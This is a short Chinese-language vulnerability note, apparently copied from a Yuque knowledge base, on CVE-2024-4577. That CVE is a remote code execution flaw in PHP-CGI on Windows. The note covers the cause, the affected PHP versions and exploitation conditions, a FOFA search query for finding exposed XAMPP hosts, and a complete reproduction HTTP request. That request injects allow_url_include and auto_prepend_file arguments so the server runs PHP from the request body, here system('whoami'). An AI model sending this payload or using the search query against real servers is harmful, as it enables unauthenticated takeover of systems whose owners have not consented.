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40 lines
1.3 KiB
Markdown
40 lines
1.3 KiB
Markdown
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# PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)
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# 一、漏洞简介
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<font style="color:rgb(53, 53, 53);">PHP 在设计时忽略 Windows 中对字符转换的Best-Fit 特性，当 PHP-CGI 运行在Window平台且使用了如下语系（简体中文936/繁体中文950/日文932等）时，攻击者可构造恶意请求绕过 CVE-2012-1823 补丁，从而可在无需登陆的情况下执行任意PHP代码。</font>
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# 二、影响版本
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```java
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PHP 8.3 < 8.3.8
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PHP 8.2 < 8.2.20
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PHP 8.1 < 8.1.29
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利用条件：
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1、用户认证：无需用户认证
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2、前置条件：默认配置
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3、触发方式：远程
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```
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# 三、资产测绘
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+ fofa`app="XAMPP" `
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+ 特征
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# 四、漏洞复现
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```java
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POST /php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input HTTP/1.1
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Host:
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REDIRECT-STATUS:1
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Content-type: text/html; charset=UTF-8
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 29
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<?php system("whoami")?>
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```
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> 更新: 2024-09-05 23:27:24
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/tihl0itqro7zdhy5>
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